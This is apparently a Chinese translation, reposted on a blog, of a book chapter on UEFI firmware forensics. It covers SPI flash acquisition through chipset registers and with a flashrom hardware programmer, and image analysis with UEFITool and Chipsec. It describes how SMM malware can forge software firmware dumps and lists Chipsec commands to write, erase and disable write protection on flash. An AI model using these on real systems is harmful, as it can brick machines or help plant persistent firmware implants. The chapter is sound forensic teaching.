我们需要关注的最后一个 HSFC 字段是 闪存 SPI SMI# 启用 (FSMIE) ➊。当该字段被设置时,芯片组会生成系统管理中断(SMI),从而触发 SMM 代码的执行。正如我们在 “考虑软件方法的缺点” 的 第 373 页 中所看到的,您可以使用 FSMIE 来对抗固件映像获取。

与 SPI 控制器通信

使用 HSFC 寄存器并不是向 SPI 控制器发送命令的唯一方式。通常,与 SPI 闪存通信有两种方式:硬件序列和软件序列。在这里我们展示的硬件序列方法是通过让硬件选择发送用于读/写操作的 SPI 命令(这正是 HSFC 寄存器的作用)。软件序列则让我们有更多的选择,可以指定具体的命令来执行读/写操作。在本节中,我们通过 HSFC 寄存器使用硬件序列,因为它简单且能提供读取 BIOS 固件所需的功能。

FADDR 寄存器

我们使用闪存地址(FADDR)寄存器来指定用于读、写和擦除操作的 SPI 闪存线性地址。该寄存器为 32 位,但我们只使用低 24 位来指定操作的线性地址。该寄存器的高 8 位是保留的且未使用。

HSFS 寄存器

一旦我们通过设置 HSFC 寄存器的 FGO 字段启动了 SPI 周期,就可以通过查看硬件序列闪存状态(HSFS)寄存器来确定周期是否已完成。该寄存器由多个字段组成,这些字段提供有关请求操作状态的信息。在表 19-2 中,您可以看到用于读取 SPI 映像的 HSFS 字段。

表 19-2: SPI 寄存器 HSFS 字段

字段偏移 字段大小 字段名称 字段描述
0h 1 FDONE 闪存周期完成
1h 1 FCERR 闪存周期错误
2h 1 AEL 访问错误日志
5h 1 SCIP SPI 周期进行中

当上一个闪存周期(由 HSFC 寄存器的 FGO 字段启动)完成时,芯片组会设置 FDONE 位。FCERR 和 AEL 位指示在 SPI 闪存周期中发生了错误,返回的数据可能不包含有效值。SCIP 位指示闪存周期正在进行中。我们通过设置 FGO 位来设置 SCIP,且当 FDONE 的值为 1 时,SCIP 会被清除。根据这些信息,我们可以确定当以下表达式为真时,我们启动的操作已成功完成:

(FDONE == 1) && (FCERR == 0) && (AEL == 0) && (SCIP == 0)
FDATAX 寄存器

闪存数据数组(FDATAX)寄存器保存着从 SPI 闪存读取或写入的数据。每个寄存器是 32 位的,使用的 FDATAX 寄存器总数取决于要传输的字节数,这个字节数由 HSFC 寄存器的 FDBC 字段指定。

从 SPI 闪存读取数据

现在,让我们将所有这些信息汇总起来,看看如何使用这些寄存器从 SPI 闪存中读取数据。首先,我们定位根复合寄存器块,从中可以确定 SPI 内存映射寄存器的基地址,并获取对这些寄存器的访问权限。通过读取 FREG1 SPI 寄存器,我们可以确定 BIOS 区域在闪存中的位置——即 BIOS 的起始地址和 BIOS 限制。

接下来,我们使用刚才描述的 SPI 寄存器读取 BIOS 区域。此步骤在图 19-5 中进行了演示。

image

图 19-5:从 SPI 闪存读取数据

首先,我们将 FADDR 设置为我们要读取的闪存区域的线性地址 ➊。然后,我们通过设置闪存控制寄存器的 FDBC 字段 ➋ 来指定从闪存读取的总字节数。(111111b 的值表示每次读取 64 字节。)接着,我们用 00b 值设置 FCYCLE 字段 ➌,该值表示读取周期并设置启动我们闪存读取操作的 FGO 位 ➍。

一旦我们设置了 FGO 位,我们需要监控闪存状态寄存器,以了解操作何时完成。我们可以通过检查 FDONE、FCERR、AEL 和 SCIP 字段 ➎ 来做到这一点。读取操作完成后,我们从 FDATAX 寄存器 ➏ 中读取闪存数据。FDATAX[1]寄存器提供我们目标地址(由 FADDR 寄存器指定)处的前 4 个字节闪存;FDATAX[2]提供第二组 4 个字节闪存,以此类推。通过重复这些步骤,并在每次迭代时将 FADDR 值增加 64 字节,我们可以从 SPI 闪存中读取整个 BIOS 区域。

考虑到软件方法的缺点

BIOS 固件转储的软件方法很方便,因为它不需要你在场;通过这种方法,你可以远程读取 SPI 闪存的内容。但它对已经破坏了系统固件并能在 SMM 中执行恶意代码的攻击者来说并不稳健。

正如我们所注意到的,HSFC 寄存器有一个 FSMIE 位,当闪存周期完成时,它会触发 SMI。如果攻击者已经破坏了 SMM 并且能够在固件获取软件设置 FGO 位之前设置 FSMIE 位,那么攻击者将在 SMI 生成后控制系统,并能够修改 FDATAX 寄存器的内容。因此,固件获取软件将从 FDATAX 中读取伪造的值,无法获得 BIOS 区域的原始镜像。图 19-6 演示了这种攻击。

image

图 19-6:通过 SMI 破坏软件 BIOS 获取

在读取器设置闪存控制寄存器中的 FGO 位➋之前,攻击者将 1 写入寄存器的 FSMIE 位➊。一旦循环结束并且数据被写回到 FDATAX 寄存器,触发了 SMI,攻击者获得了控制权➌。接着,攻击者修改 FDATAX 寄存器的内容➍,以掩盖对 BIOS 固件的攻击。恢复控制后,读取器将收到伪造的数据➎,并且不会检测到固件被篡改。

该攻击展示了软件方法无法提供 100%可靠的固件获取解决方案。在接下来的部分中,我们将讨论获取系统固件用于取证分析的硬件方法。通过物理连接设备到 SPI 闪存来进行取证分析,避免了图 19-6 中描述的攻击可能性。

固件获取的硬件方法

为了确保我们获取的是存储在 SPI 闪存上的实际 BIOS 镜像,而不是已经被攻击者篡改的版本,我们可以使用硬件方法。采用这种方法时,我们会将设备物理连接到 SPI 闪存,并直接读取其内容。这是最好的解决方案,因为它比软件方法更可靠。额外的好处是,这种方法还允许我们获取存储在 SPI 闪存上的其他固件,例如 ME 和 GBE 固件,而这些固件可能由于 SPI 控制器的限制无法通过软件方法访问。

现代系统中的 SPI 总线允许多个主设备与 SPI 闪存通信。例如,在基于英特尔芯片组的系统中,通常有三个主设备:主机 CPU、英特尔 ME 和 GBE。这三个主设备对 SPI 闪存的不同区域具有不同的访问权限。在大多数现代平台上,主机 CPU 无法读写包含英特尔 ME 和 GBE 固件的 SPI 闪存区域。

图 19-7 展示了通过读取 SPI 闪存获取 BIOS 固件镜像的典型设置。

image

图 19-7:用于转储 SPI 闪存镜像的典型设置

为了从闪存中读取数据,我们需要一个额外的设备,叫做SPI 编程器,我们将其物理连接到目标系统上的 SPI 闪存芯片。我们还通过 USB 或 UART 接口将 SPI 编程器连接到主机,使用主机获取 BIOS 固件镜像。然后,我们会在编程器上运行一些特定的软件,使其从闪存芯片读取数据并将数据传输到分析师的计算机。这些软件可能是随特定 SPI 编程器提供的专有软件,或者它也可能是一个开源解决方案,比如稍后在“使用 FT2232 Mini 模块读取 SPI 闪存”中讨论的 Flashrom 工具,第 377 页有详细介绍。

回顾联想 ThinkPad T540p 案例分析

硬件方法比软件方法更为具体。它要求你查阅平台文档,以了解平台使用什么样的闪存来存储固件,以及固件在系统中的物理位置。此外,还有许多专用于特定硬件的闪存编程设备,我们可以使用它们来读取闪存的内容。由于可供选择的硬件和软件选项实在太多,我们不会讨论系统固件获取的各种方法。相反,我们将介绍使用 FT2232 SPI 编程器从联想 ThinkPad T540p 提取固件的一种可能方法。

我们选择这款 SPI 编程器是因为它的价格相对较低(大约 30 美元)且具有灵活性,此外我们之前也有使用过它的经验。正如我们所提到的,市面上有许多解决方案,每种方案都有其独特的特点、优点和缺点。

DEDIPROG SF100 ISP IC 编程器

我们还想提到另一款设备,即 Dediprog SF100 ISP IC 编程器(如图 19-8 所示)。它在安全研究社区中非常流行,支持许多 SPI 闪存,并提供广泛的功能。Minnowboard 是一个开源参考板,供硬件和固件开发者使用,提供了一个关于如何使用 Dediprog 更新固件的好教程,教程地址为 minnowboard.org/tutorials/updating-firmware-via-spi-flash-programmer/

image

图 19-8:Dediprog SF100 ISP IC 编程器

定位 SPI 闪存芯片

让我们从物理上读取联想 ThinkPad T540p 平台的固件镜像开始。首先,要从目标系统中提取系统固件,我们需要找出在主板上 SPI 闪存芯片的位置。为此,我们查阅了这款笔记本型号的硬件维护手册 (thinkpads.com/support/hmm/hmm_pdf/t540p_w540_hmm_en_sp40a26003_01.pdf),并拆开了目标系统的硬件。在图 19-9 和图 19-10 中,你可以看到两个闪存芯片的位置。图 19-9 展示了系统板的完整图像,SPI 闪存芯片位于高亮区域。

警告

除非你百分之百确定自己在做什么,否则不要重复本节中描述的操作。工具配置无效或不正确可能会使目标系统无法启动。

image

图 19-9:联想 ThinkPad T540p 主板与 SPI 闪存模块

图 19-10 放大了图 19-9 中突出显示的区域,使你能更清楚地看到 SPI 闪存芯片。这款笔记本型号使用了两个 SOIC-8 闪存模块来存储固件——一个是 64Mb(8MB),另一个是 32Mb(4MB)。这是许多现代桌面和笔记本电脑中非常流行的解决方案。

image

图 19-10:笔记本主板上 SPI 闪存模块的位置

由于使用了两个独立的芯片来存储系统固件,我们需要将两个芯片的内容都转储。我们通过将两个闪存芯片的映像拼接成一个文件来获得最终的固件映像。

使用 FT2232 迷你模块读取 SPI 闪存

一旦我们确定了芯片的物理位置,就可以将 SPI 编程器的引脚连接到系统板上的闪存模块。FT2232H 迷你模块的技术资料(www.ftdichip.com/Support/Documents/DataSheets/Modules/DS_FT2232H_Mini_Module.pdf)向我们展示了应使用哪些引脚将设备连接到存储芯片。图 19-11 展示了 FT2232H 迷你模块和 SPI 闪存芯片的引脚布局。

FT2232H 有两组引脚,对应两个通道:通道 2 和通道 3。你可以使用任一通道读取 SPI 闪存的内容。在我们的实验中,我们使用通道 3 将 FT2232H 连接到 SPI 存储芯片。图 19-11 展示了我们如何将 FT2232H 的引脚连接到 SPI 闪存芯片的相应引脚。

除了将 FT2232H 连接到存储芯片,我们还需要将其配置为在 USB 总线供电模式下工作。FT2232H 迷你模块支持两种工作模式:USB 总线供电自供电。在总线供电模式下,迷你模块从其连接的 USB 总线获取电源,而在自供电模式下,电源独立于 USB 总线连接提供。

image

图 19-11:FT2232H 迷你模块和 SPI 闪存芯片的引脚布局

为了帮助我们将 SPI 编程器连接到 SPI 芯片模块,我们使用了一个 SOIC-8 夹具,如图 19-12 所示。这个夹具让我们能够轻松地将迷你模块的引脚连接到闪存芯片的相应引脚。

image

图 19-12:将 FT2232H 迷你模块连接到 SPI 闪存芯片

一旦我们连接了所有组件,就可以读取 SPI 闪存芯片的内容。为此,我们使用一个名为 Flashrom(* www.flashrom.org/Flashrom *)的开源工具。该工具专门用于识别、读取、写入、验证和擦除闪存芯片。它支持大量闪存芯片,并与许多不同的 SPI 编程器兼容,包括 FT2232H Mini 模块。

清单 19-1 显示了在 Lenovo ThinkPad T540p 平台上运行 Flashrom 以读取两个 SPI 闪存芯片内容的结果。

➊ user@host: flashrom -p ft2232_spi:type=2232H,port=B --read dump_1.bin

   flashrom v0.9.9-r1955 on Linux 4.8.0-36-generic (x86_64)

   flashrom is free software, get the source code at https://flashrom.org

   Calibrating delay loop... OK.

➋ Found Macronix flash chip "MX25L6436E/MX25L6445E/MX25L6465E/MX25L6473E"

   (8192 kB, SPI) on ft2232_spi.

➌ Reading flash... done.

   user@host: flashrom -p ft2232_spi:type=2232H,port=B --read dump_2.bin

   flashrom v0.9.9-r1955 on Linux 4.8.0-36-generic (x86_64)

   flashrom is free software, get the source code at https://flashrom.org

   Calibrating delay loop... OK.

   Found Macronix flash chip "MX25L3273E" (4096 kB, SPI) on ft2232_spi.

   Reading flash... done.

➍ user@host: cat dump_2.bin >> dump_1.bin

清单 19-1:使用 Flashrom 工具导出 SPI 闪存镜像

首先,我们运行 Flashrom 来导出第一个 SPI 闪存芯片的内容,并将编程器类型和端口号作为参数传递 ➊。我们指定的类型为 2232H,对应我们的 FT2232H Mini 模块,而端口 B 对应通道 3,即我们用来连接 SPI 闪存芯片的端口。--read 参数告诉 Flashrom 读取 SPI 闪存内存的内容并保存到 dump_1.bin 文件中。一旦我们运行该工具,它会显示检测到的 SPI 闪存芯片类型——在我们的例子中是 Macronix MX25L6473E ➋。等 Flashrom 完成读取闪存内存后,它会输出确认信息 ➌。

在读取完第一个闪存芯片后,我们重新连接夹具到第二个芯片,并再次运行 Flashrom,将第二个芯片的内容导出到 dump_2.bin 文件中。完成此操作后,我们通过将两个导出的镜像拼接在一起,创建了一个完整的固件镜像 ➍。

我们现在已经成功导出了完整且可信的固件镜像。即使 BIOS 已经被感染且攻击者试图阻止我们获取固件,我们仍然能够获得实际的固件代码和数据。接下来,我们将对其进行分析。

使用 UEFITool 分析固件镜像

一旦我们从目标系统的 SPI 闪存中获取了固件镜像,我们就可以对其进行分析。在本节中,我们将介绍平台固件的基本组件,如固件卷、卷文件以及理解闪存镜像中 UEFI 固件布局所必需的各个部分。然后我们将重点关注固件取证分析中最重要的步骤。

注意

在本节中,我们将提供高层次的描述,而不是详细的结构定义,因为这涉及的内容过于庞大,深度探讨超出了本章的范围。不过,如果您需要更多信息,我们会提供参考文献,其中包含定义和数据结构布局。

我们将重新审视 UEFITool(github.com/LongSoft/UEFITool/),这是一款用于解析、提取和修改 UEFI 固件映像的开源工具,已经在第十五章中介绍过,接下来我们将用前一节获得的真实固件映像来演示理论概念。查看固件映像内部并浏览提取不同组件的能力对于取证分析非常有用。此工具无需安装;下载后即可直接运行。

了解 SPI 闪存区域

在查看固件映像之前,我们需要了解 SPI 闪存上存储的信息是如何组织的。通常,基于英特尔芯片组的现代平台 SPI 闪存由多个区域组成。每个区域专门用于存储平台中特定设备的固件;例如,UEFI BIOS 固件、英特尔 ME 固件和英特尔 GBE(集成 LAN 设备)固件都分别存储在自己的区域中。图 19-13 展示了 SPI 闪存的几个区域布局。

image

图 19-13:SPI 闪存映像的区域

现代系统中的 SPI 闪存支持最多六个区域,包括描述符区域,闪存映像总是从该区域开始。描述符区域包含有关 SPI 闪存布局的信息;即它向芯片组提供关于 SPI 闪存上其他区域的信息,如它们的位置和访问权限。描述符区域还决定了系统中每个主机与 SPI 闪存控制器通信的访问权限。多个主机可以同时与控制器通信。我们可以在目标平台的芯片组规格中找到描述符区域的完整布局,包括其中所有数据结构的定义。

在本章中,我们主要关注的是 BIOS 区域,该区域包含 CPU 在复位向量时执行的固件。我们可以从描述符区域提取 BIOS 区域的位置。通常,BIOS 是 SPI 闪存中的最后一个区域,也是取证分析的主要目标。

让我们来看看我们通过硬件方法获得的 SPI 映像的不同区域。

使用 UEFITool 查看 SPI 闪存区域

首先,启动 UEFITool 并选择文件打开映像文件。然后选择包含您要分析的 SPI 映像的文件——我们已为您提供一个,可以通过书本资源使用,网址是nostarch.com/rootkits/。图 19-14 展示了此操作的结果。

image

图 19-14:在 UEFITool 中浏览 SPI 闪存区域

当固件映像加载时,UEFITool 会自动解析它,并以树状结构提供这些信息。在图 19-14 中,工具识别到该固件映像来自基于英特尔芯片组的系统➊,并且只有四个 SPI 区域:描述符、ME、GbE 和 BIOS。如果我们在结构窗口中选择 BIOS 区域,就可以在信息窗口中看到有关它的信息。UEFITool 显示以下描述该区域的项:

偏移量 ➋ 区域相对于 SPI 闪存映像开始位置的偏移量

完整大小 ➌ 区域的字节大小

内存地址 ➍ 映射到物理内存的区域地址

压缩 ➎ 区域是否包含压缩数据

该工具提供了一种方便的方法,从 SPI 映像中提取单个区域(以及结构窗口中显示的任何其他对象)并将其保存为单独的文件,如图 19-15 所示。

image

图 19-15:提取 BIOS 区域并将其保存为单独的文件

要提取并保存一个区域,右键点击该区域并在上下文菜单中选择按原样提取 . . .。然后工具会显示一个常规对话框,让你选择要保存新文件的位置。完成后,检查所选位置以确认操作是否成功。

分析 BIOS 区域

一旦我们确定了 BIOS 区域的位置,就可以开始分析了。从高层次来看,BIOS 区域被组织成固件卷,它们是数据和代码的基本存储库。固件卷的具体定义见于 EFI 固件卷规范(www.intel.com/content/www/us/en/architecture-and-technology/unified-extensible-firmware-interface/efi-firmware-file-volume-specification.html)。每个卷都以一个头部开始,提供必要的卷属性,例如卷文件系统类型、卷大小和校验和。

让我们检查一下我们获取的 BIOS 中可用的固件卷。如果我们在 UEFITool 窗口中双击 BIOS 区域(如图 19-15 所示),我们会看到一个可用的固件卷列表,如图 19-16 所示。

image

图 19-16:浏览 BIOS 区域中可用的固件卷

我们的 BIOS 区域中有四个固件卷,你还会注意到有两个区域标记为填充。填充区域不属于任何固件卷,而是表示它们之间的空白区域,填充的值为 0x00 或 0xff,具体取决于 SPI 闪存的擦除极性。擦除极性决定写入闪存的擦除操作的值。如果擦除极性为 1,则擦除的闪存字节会被设置为 0xff 的值;如果擦除极性为 0,则擦除的闪存字节会被设置为 0x00 的值。因此,当擦除极性为 1 时,填充区域(空白区域)由 0xff 值构成。

在图 19-16 中卷的右侧信息标签中,我们可以看到所选卷的属性。以下是一些重要的字段:

偏移量 ➊ 固件卷相对于 SPI 映像起始位置的偏移量。

签名 ➋ 固件卷头部的签名。此字段用于识别 BIOS 区域中的卷。

文件系统 GUID ➌ 固件卷中使用的文件系统的标识符。此全球唯一标识符(GUID)显示为结构窗口中卷的名称。如果 GUID 已被记录,UEFITool 将显示其人类可读的名称(如图 19-16 中的 EfiFirmwareFileSystemGuid),而不是十六进制值。

头部大小 ➍ 固件卷头部的大小。卷数据位于头部之后。

主体大小 ➎ 固件卷体的大小——即存储在该卷中的数据大小。

了解固件文件系统

固件卷被组织为文件系统,其类型在固件头中的文件系统 GUID 中指明。固件卷中最常用的文件系统是固件文件系统(FFS),该文件系统在 EFI FFS 规范中定义,但固件卷也使用其他文件系统,如 FAT32 或 NTFS。我们将重点讨论 FFS,因为它是最常见的。

FFS 将所有文件存储在根目录中,并且不提供任何目录层次结构。根据 EFI FFS 规范,每个文件都有一个与之关联的类型,位于该文件的头部,描述存储在该文件中的数据。以下是一些在取证分析中可能有用的常见文件类型:

EFI_FV_FILETYPE_RAW 一个原始文件——对于文件中存储的数据不应做任何假设。

EFI_FV_FILETYPE_FIRMWARE_VOLUME_IMAGE 一个包含封装固件卷的文件。尽管 FFS 没有为目录层次结构提供规定,但我们可以使用此文件类型通过将固件模块封装在文件中来创建类似树形结构。

EFI_FV_FILETYPE_SECURITY_CORE 一个包含代码和数据的文件,在启动过程的安全(SEC)阶段执行。SEC 阶段是 UEFI 启动过程的第一个阶段。

EFI_FV_FILETYPE_PEI_CORE 是一个可执行文件,用于启动引导过程中的预 EFI 初始化(PEI)阶段。PEI 阶段紧随 SEC 阶段之后。

EFI_FV_FILETYPE_PEIM 是 PEI 模块,它是包含代码和数据的文件,在 PEI 阶段执行。

EFI_FV_FILETYPE_DXE_CORE 是一个可执行文件,用于启动引导过程中的 驱动程序执行环境DXE)阶段。DXE 阶段紧随 PEI 阶段之后。

EFI_FV_FILETYPE_DRIVER 是在 DXE 阶段启动的可执行文件。

EFI_FV_FILETYPE_COMBINED_PEIM_DRIVER 是一个包含代码和数据的文件,可以在 PEI 和 DXE 阶段都执行。

EFI_FV_FILETYPE_APPLICATION 是一个 UEFI 应用程序,它是一个可以在 DXE 阶段启动的可执行文件。

EFI_FV_FILETYPE_FFS_PAD 是一个填充文件。

与操作系统中常见的文件系统不同,操作系统中文件具有可读的文件名,而 FFS 文件通过 GUID 进行标识。

了解文件部分

大多数存储在 FFS 中的固件文件由单一部分或多个独立部分组成,称为 部分(尽管某些文件,如 EFI_FV_FILETYPE_RAW 文件,可能不包含任何部分)。

有两种类型的部分:叶部分和封装部分。叶部分 直接包含数据,其类型由部分头中的部分类型属性决定。封装部分 包含文件部分,这些文件部分可能包含叶部分或封装部分。这意味着一个封装部分可以包含嵌套的封装部分。

以下列表描述了一些类型的叶部分:

EFI_SECTION_PE32 包含一个 PE 映像。

EFI_SECTION_PIC 包含位置无关代码(PIC)。

EFI_SECTION_TE 包含一个简洁可执行(TE)映像。

EFI_SECTION_USER_INTERFACE 包含一个用户界面字符串。它通常用于存储文件的可读名称,以及文件的 GUID。

EFI_SECTION_FIRMWARE_VOLUME_IMAGE 包含一个封装的固件映像。

以下是 FFS 规范中定义的几个封装部分:

EFI_SECTION_COMPRESSION 包含压缩的文件部分。

EFI_SECTION_GUID_DEFINED 根据由部分 GUID 标识的算法封装其他部分。此类型通常用于签名部分,例如。

这些对象构成了现代平台上的 UEFI 固件内容。法证分析员必须考虑固件的每个组成部分,无论它是具有可执行代码的部分,如 PE32、TE 或 PIC,还是包含非易失性变量的数据文件。

为了更好地理解这里介绍的概念,请参见 图 19-17,它展示了 CpuInitDxe 驱动程序在固件卷中的位置。该驱动程序负责在 DXE 阶段初始化 CPU。我们将从 FFS 层次结构的底部开始,描述它在固件映像中的位置。

image

图 19-17:CpuInitDxe驱动程序在 BIOS 区域中的位置

驱动程序的可执行镜像位于 PE32 镜像区段➐中。这个区段与其他包含驱动程序名称➑、版本➒和依赖关系➏的区段一起,位于文件中,文件的 GUID 为{62D171CB-78CD-4480-8678-C6A2A797A8DE}➎。该文件是封装固件卷➍的一部分,存储在压缩区段➌中。压缩区段位于固件卷镜像类型中的{9E21FD93-9C72-4C15-8C4B-E77F1DB2D792}文件➋,该文件存储在顶级固件卷➊中。

这个示例主要是为了展示构成 UEFI 固件的对象层次结构,但这仅仅是解析固件的一种可能方法。

现在我们知道了 BIOS 区域是如何组织的,我们就能浏览其层次结构,搜索存储在 BIOS 固件中的各种对象。

使用 Chipsec 分析固件镜像

在本节中,我们将讨论使用平台安全评估框架 Chipsec 进行固件法医分析(* github.com/chipsec/ *),该框架在第十五章中介绍。在本节中,我们将更详细地探讨该工具的架构;然后,我们将分析一些固件,提供几个示例来展示 Chipsec 的功能和实用性。

该工具提供了多种接口来访问平台硬件资源,如物理内存、PCI 寄存器、NVRAM 变量和 SPI 闪存。这些接口对法医分析师非常有用,我们将在本节稍后更深入地探讨这些接口。

请按照 Chipsec 手册中的安装指南(* github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf *)进行安装和设置。手册还涵盖了许多您可以使用的功能,但在本节中,我们仅关注 Chipsec 的法医分析功能。

了解 Chipsec 架构

图 19-18 展示了该工具的高层架构。

image

图 19-18:Chipsec 工具的架构

在底部,我们可以看到提供访问系统资源的模块,如内存映射 I/O 地址范围、PCI 配置空间寄存器和物理内存。这些是平台相关的模块,作为内核模式驱动程序和 EFI 本地代码实现。(目前,Chipsec 为 Windows、Linux 和 macOS 提供了内核模式驱动程序。)大多数模块是用 C 语言编写的,旨在内核模式或 EFI Shell 中执行。

注意

UEFI Shell 是一个 UEFI 应用程序,它提供了一个固件的命令行界面,允许我们启动 UEFI 应用程序并执行命令。我们可以使用 UEFI Shell 来检索平台信息,查看和修改启动管理器变量,加载 UEFI 驱动程序等等。

在这些低级依赖于操作系统的组件之上,是一个名为 OS Helper 的操作系统独立抽象层,它由多个模块组成,隐藏了与内核模式组件通信的操作系统特定 API。这些位于该层的模块是用 Python 实现的。在底层,这些模块与内核模式组件进行交互;在顶部,它们为另一个组件——硬件抽象层(HAL)提供操作系统独立的接口。

HAL 进一步抽象了平台的低级概念,如 PCI 配置寄存器和特定型号寄存器(MSRs),并为位于其上层的 Chipsec 组件提供接口:Chipsec MainChipsec Util。HAL 同样是用 Python 编写的,并依赖于 OSHelper 来访问平台特定的硬件资源。

其余的两个组件位于架构的顶部,提供了用户可以使用的主要功能。第一个接口,Chipsec Main,通过工具根文件夹中的chipsec_main.py Python 脚本提供。它允许我们执行测试,检查平台某些方面的安全配置,运行 PoC 测试以检查系统固件中的漏洞等。第二个接口,Chipsec Util,通过chipsec_util.py脚本提供。我们可以使用它来运行单独的命令,并访问平台硬件资源,读取 SPI 闪存镜像、转储 UEFI NVRAM 变量等。

我们主要关注 Chipsec Util 接口,因为它提供了丰富的功能,用于处理 UEFI 固件。

使用 Chipsec Util 分析固件

你可以通过运行位于工具仓库根目录下的chipsec_util.py脚本,而不指定任何参数,来查找 Chipsec Util 提供的命令。通常,命令会根据它们操作的硬件资源被分组到不同的模块中。以下是一些最有用的模块:

acpi 实现了与高级配置与电源接口表格相关的命令。

cpu 实现了与 CPU 相关的命令,如读取配置寄存器和获取 CPU 信息。

spi 实现了一些用于操作 SPI 闪存的命令,如读取、写入和擦除数据。还可以选择在解锁写保护的系统上禁用 BIOS 写保护(如第十六章中所讨论的)。

uefi 实现了用于解析 UEFI 固件(SPI 闪存 BIOS 区域)的命令,以提取可执行文件、NVRAM 变量等。

我们可以运行chipsec_util.py command_name,其中 command_name 是我们想了解的命令名称,来输出该命令的描述和使用信息。例如,列表 19-2 显示了chipsec_util.py spi的输出。

   ################################################################

   ##                                                            ##

   ##  CHIPSEC: Platform Hardware Security Assessment Framework  ##

   ##                                                            ##

   ################################################################

   [CHIPSEC] Version 1.3.3h

   [CHIPSEC] API mode: using OS native API (not using CHIPSEC kernel module)

   [CHIPSEC] Executing command 'spi' with args []

➊ >>> chipsec_util spi info|dump|read|write|erase|disable-wp

   [flash_address] [length] [file]

       Examples:

       >>> chipsec_util spi info

       >>> chipsec_util spi dump rom.bin

       >>> chipsec_util spi read 0x700000 0x100000 bios.bin

       >>> chipsec_util spi write 0x0 flash_descriptor.bin

       >>> chipsec_util spi disable-wp

列表 19-2:spi模块的描述和使用信息

当我们想要了解具有自描述名称的命令的支持选项时,像 inforeadwriteerasedisable-wp ➊ 这样的命令就非常有用。在接下来的示例中,我们将主要使用 spiuefi 命令来获取并解包固件镜像。

转储与解析 SPI 闪存镜像

首先我们来看一下 spi,它允许我们执行固件获取操作。这个命令使用软件方法来转储 SPI 闪存的内容。要获取 SPI 闪存的镜像,我们可以运行以下命令:

chipsec_util.py spi dump path_to_file

其中 path_to_file 是我们希望保存 SPI 镜像的位置的路径。成功执行此命令后,该文件将包含闪存镜像。

现在我们已经拥有了 SPI 闪存镜像,可以使用 decode 命令解析它并提取有用的信息(值得一提的是,decode 命令本身也可以用来解析通过硬件固件获取方法获得的 SPI 闪存镜像),像这样:

chipsec_util.py decode path_to_file

其中 path_to_file 指向一个包含 SPI 闪存镜像的文件。Chipsec 将解析并提取存储在闪存镜像中的数据,并将其存储在一个目录中。我们也可以使用 uefi 命令和 decode 选项来执行这个任务,像这样:

chipsec_util.py uefi decode path_to_file

一旦我们成功执行命令,我们将获得从镜像中提取的一组对象,如可执行文件、包含 NVRAM 变量的数据文件以及文件部分。

转储 UEFI NVRAM 变量

现在我们将使用 Chipsec 枚举并从 SPI 闪存镜像中提取 UEFI 变量。在第十七章中,我们简要介绍了如何使用 chipsec uefi var-list 提取 NVRAM 变量。UEFI 安全启动依赖 NVRAM 变量来存储配置数据,如其安全启动策略值、平台密钥、密钥交换密钥,以及 dbdbx 数据。运行此命令将生成一个包含固件镜像中所有 UEFI NVRAM 变量的列表,以及它们的内容和属性。

这些只是 Chipsec 工具丰富功能中的一部分命令。Chipsec 所有用例的全面列表可能需要一本书的篇幅,但如果你对这个工具感兴趣,我们建议查看其文档。

这就结束了我们使用 Chipsec 分析固件镜像的过程。执行这些命令后,我们获得了固件镜像的提取内容。法医分析的下一步是使用特定于提取对象类型的工具单独分析这些提取的组件。例如,你可以使用 IDA Pro 反汇编器分析 PEI 和 DXE 模块,而可以在十六进制编辑器中浏览 UEFI NVRAM 变量。

这份 Chipsec 命令列表为进一步探索 UEFI 固件提供了一个良好的起点。我们鼓励你玩一下这个工具,并参考手册了解它的其他功能和特性,以便加深你对固件法医分析的理解。

结论

在本章中,我们讨论了 UEFI 固件取证分析的重要方法:获取固件、解析固件镜像以及从 UEFI 固件镜像中提取信息。

我们讨论了两种获取固件的不同方式——软件方法和硬件方法。软件方法方便,但它并不能提供一种完全可信的方式来从目标系统获取固件镜像。因此,尽管硬件方法更为困难,我们还是推荐使用硬件方法。

我们还演示了如何使用两个在分析和逆向工程 SPI 闪存镜像时不可或缺的开源工具:UEFITool 和 Chipsec。UEFITool 提供了浏览、修改和从 SPI 闪存镜像中提取取证数据的功能,而 Chipsec 对于执行取证分析所需的许多操作非常有用。使用 Chipsec 还展示了攻击者如何轻松地通过恶意负载修改固件镜像,因此我们预计固件取证在安全行业中的关注度将显著增加。

posted @ 2025-11-27 09:18  绝不原创的飞龙  阅读(14)  评论(0)    收藏  举报